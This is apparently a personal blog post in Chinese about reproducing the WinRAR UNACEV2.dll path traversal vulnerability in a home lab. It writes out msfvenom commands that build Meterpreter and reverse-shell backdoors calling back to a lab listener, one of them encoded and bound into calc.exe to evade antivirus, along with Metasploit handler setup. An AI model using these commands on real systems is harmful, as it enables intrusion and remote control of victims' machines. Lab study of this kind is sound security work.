WinRAR代码执行漏洞复现
漏洞介绍
WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用
2019年2月20日,安全厂商 checkpoint 发布了名为《Extracting a 19 Year old code Execution from WinRAR》的文章,文章披露了一个存在于 winRAR 中用于 ace 文件解析的 DLL 模块中的绝对路径穿越漏洞,可导致远程代码执行。
漏洞类型:代码执行
漏洞利用条件:将压缩包解压到当前文件夹,同时释放恶意文件到指定目录,重启机器便会触发漏洞(解压到自启动目录 or 解压dll文件进行劫持)
受影响版本:WinRAR 5.7 之前含有UNACEV2.dll模块的压缩程序
产生原因:ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致
修复方案:升级到winrar5.7.1、
漏洞复现
环境准备:
吾爱破解上找的winrar 5.60版本
靶机:192.168.41.129
简体中文64位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/winrar-x64-560sc.exe
简体中文32位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/wrar560sc.exe
新版的winrar 5.71中不存在UNACEV2.dll
靶机下载的winrar5.60存在UNACEV2.dll模块
MSF生成后门
生成一个简单后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.130 -f exe -o shell.exe
刚传到本机,就被火绒杀了。可想而知现在用msf后门是有多方便,但也需要技术门槛,免杀的套路才行了。
MSF结合exp(msf命令错误示范)
替换exp.py中的exe
需python3.7 运行exp.py
遇到个坑,注意这里的命令,py2和py3兼容的,不能用python3 ./exp.py来运行
kali:
msf设置监听
use exploit/multi/handler
set windows/x64/meterpreter/reverse_tcp
set LHOST
靶机:
解压到当前文件夹
重启触发exlpoit
win7上重启后,会提示一个操作,无法执行,如果直接关闭,那就直接died了。没有截图。重来一遍
再次替换后发现,执行exe的过程是放入开机的启动项中。所以才需要重启才能触发hi.exe即后门
无法重现,恢复快照尝试。应该是我之前直接ctrl+z,应该用ctrl+c中断监听,ctrl+z直接退出msfconsole,监听仍然存在。所以新开的收不到session。需要kill之前中断的msfconsole进程。
才能收到session
这台win7 sp1用来测试CVE20190708获取session失败,换一个win10试试(临时下载iso,安装程序,看会儿小甲鱼吧)
晚上了都,win10就绪,恢复下被杀的后门
复现失败。最后发现了问题,好像是我msf的问题。哎,气死了。打扰了。~~~~~~~~~~~~我payload设置错了。
我默认设置了payload windows/x64/meterpreter/reverse_tcp。应该设置为windows/meterpreter/reverse_tcp
正确MSF结合exp
winrar解压到当前文件夹释放恶意文件。重启电脑触发自启动后门
复现成功,之前的时间都浪费了呀。
既然这样就来玩一下捆绑的编码过的exe吧,记忆,掌握下msf的命令
编码21次、捆绑正常的32位calc.exe,生成32位的yunying.exe文件
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i lhost=192.168.41.130 lport= -x calc.exe -f exe -o yunying.exe
用火绒和QQ安全管家扫描,都是安全的。不像裸着的exe,放上来就被杀了。但是只要点击后,连接一样是直接被杀的。0-0。只有免杀才能逃过连接过程中的shellcode释放。编码只能绕过表面上的特征扫描。
开启msfconsole监听
64位的win7提示失败,但在本机却可以运行
win10测试
msf收不到session,没有反应,看别人也是有这样的payload同样收不到会话。0-0。
下次继续尝试把。先美化下kali的界面。颜控+1
https://www.jianshu.com/p/5bee0470eb89
尝试Wing学长的gnome-tweak-tool命令,在kali中找不到,不同版本命令不一样。解决方法=>gnome-tweaks
发现了figlet这样好玩的东西
showfigfonts 查看存有的字体
figlet -f bubble yunying -f指定要使用的字体
超级喜欢这个设计,自己的kali搞不出来。换个桌面美化就好了
明天去玩下CobaltStrike看看
WinRAR代码执行漏洞复现的更多相关文章
- WinRAR 代码执行漏洞复现
影响版本: WinRAR < 5.70 Beta 1 Bandizip < = 6.2.0.0 好压(2345压缩) < = 5.9.8.10907 360压缩 & ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- WinRAR代码执行漏洞CVE-2018-20250
0x01 分析思路 利用https://github.com/googleprojectzero/winafl 漏洞分析框架模糊测试WinRAR. 几个存档格式的崩溃,例如RAR,LZH和ACE,这些 ...
随机推荐
- Leetcode——回溯法常考算法整理
Leetcode--回溯法常考算法整理 Preface Leetcode--回溯法常考算法整理 Definition Why & When to Use Backtrakcing How to ...
- 决战Leetcode: easy part(51-96)
本博客是个人原创的针对leetcode上的problem的解法,所有solution都基本通过了leetcode的官方Judging,个别未通过的例外情况会在相应部分作特别说明. 欢迎互相交流! em ...
- SSH免密配置
1. 在三个节点生成秘钥cd ~/.sshssh-keygen -t rsa 2.合并三个节点的密码cat id_rsa.pub >> authorized_keysssh postgre ...
- qt creator源码全方面分析(3-6)
目录 qtcreatorplugin.pri 使用实例 上半部 下半部 结果 qtcreatorplugin.pri 上一节我们介绍了qtcreatorlibrary.pri,现在我们介绍qtcrea ...
- [讲解]prim算法<最小生成树>
最小生成树的方法一般比较常用的就是kruskal和prim算法 一个是按边从小到大加,一个是按点从小到大加,两个方法都是比较常用的,都不是很难... kruskal算法在本文里我就不讲了,本文的重点是 ...
- 看完这篇Exception 和 Error,和面试官扯皮就没问题了
在 Java 中的基本理念是 结构不佳的代码不能运行,发现错误的理想时期是在编译期间,因为你不用运行程序,只是凭借着对 Java 基本理念的理解就能发现问题.但是编译期并不能找出所有的问题,有一些 N ...
- Gin框架系列02:路由与参数
回顾 上一节我们用Gin框架快速搭建了一个GET请求的接口,今天来学习路由和参数的获取. 请求动词 熟悉RESTful的同学应该知道,RESTful是网络应用程序的一种设计风格和开发方式,每一个URI ...
- 实验十--- MySQL过程式数据库对象
实验十 MySQL过程式数据库对象 一. 实验内容: 1. 存储过程的创建和调用 2. 存储函数的创建和调用 3. 触发器的创建和触发 4. 事件的创建和修改 一. 实验项目:员工管理数据库 用于 ...
- 3.26java作业
1.编写程序, 输入变量x的值,如果是1,输出x=1,如果是5,输出x=5,如果是 10,输出 x=10,除了以上几个值,都输出x=none.(知识点:if条件语句) package fda; imp ...
- Ubuntu16.04默认Python3.5升级Python3.6踩坑
好久没更新博客了,每天还是踩坑中.今天遇到第一个问题“ImportError: No module named 'secrets'”,导包是常见问题.这次的问题导致我又重装了一次环境,不过这是一个新服 ...